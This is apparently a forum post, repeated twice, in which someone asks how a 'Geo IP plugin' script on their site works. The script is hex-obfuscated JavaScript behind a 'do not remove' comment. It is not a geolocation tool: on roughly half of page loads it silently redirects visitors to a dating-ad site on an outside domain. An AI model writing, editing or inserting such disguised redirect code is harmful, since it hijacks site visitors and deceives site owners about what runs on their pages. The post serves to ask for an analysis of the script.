Geo Javascript decoding
I need explanation on how this code works and how I can edit it to make changes, It is a Geo IP plugin code. Thanks in advancing 

 <!--Geo IP plugin (do not remove or page breaks like last time)-->
    <script>
    var _0x594c=["\x72\x61\x6E\x64\x6F\x6D","\x66\x6C\x6F\x6F\x72","\x61\x64\x68\x75\x6C\x6C\x2E\x63\x6F\x6D", "\x69\x6E\x64\x65\x78\x4F\x66","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E", "\x68\x74\x74\x70\x3A\x2F\x2F\x72\x65\x61\x6C\x6D\x61\x74\x75\x72\x65\x73\x69\x6E\x67\x6C\x65\x73\x34\x30\x2E\x61\x64\x68\x75\x6C\x6C\x2E\x63\x6F\x6D\x2F\x3F\x73\x74\x61\x74\x65\x3D\x57\x61\x73\x68\x69\x6E\x67\x74\x6F\x6E\x26\x61\x67\x65\x3D\x34\x30\x26\x73\x69\x64\x3D\x6E\x6F\x6E\x6C\x6F\x63\x61\x6C"];
    var num=Math[_0x594c[1]](Math[_0x594c[0]]()*11);
    if(num%2==0){if(window[_0x594c[5]][_0x594c[4]][_0x594c[3]](_0x594c[2])==-1)
    {window[_0x594c[5]]=_0x594c[6];} ;} ;
    </script>
Geo Javascript decoding
===

I need explanation on how this code works and how I can edit it to make changes, It is a Geo IP plugin code. Thanks in advancing 

 <!--Geo IP plugin (do not remove or page breaks like last time)-->
    <script>
    var _0x594c=["\x72\x61\x6E\x64\x6F\x6D","\x66\x6C\x6F\x6F\x72","\x61\x64\x68\x75\x6C\x6C\x2E\x63\x6F\x6D", "\x69\x6E\x64\x65\x78\x4F\x66","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E", "\x68\x74\x74\x70\x3A\x2F\x2F\x72\x65\x61\x6C\x6D\x61\x74\x75\x72\x65\x73\x69\x6E\x67\x6C\x65\x73\x34\x30\x2E\x61\x64\x68\x75\x6C\x6C\x2E\x63\x6F\x6D\x2F\x3F\x73\x74\x61\x74\x65\x3D\x57\x61\x73\x68\x69\x6E\x67\x74\x6F\x6E\x26\x61\x67\x65\x3D\x34\x30\x26\x73\x69\x64\x3D\x6E\x6F\x6E\x6C\x6F\x63\x61\x6C"];
    var num=Math[_0x594c[1]](Math[_0x594c[0]]()*11);
    if(num%2==0){if(window[_0x594c[5]][_0x594c[4]][_0x594c[3]](_0x594c[2])==-1)
    {window[_0x594c[5]]=_0x594c[6];} ;} ;
    </script>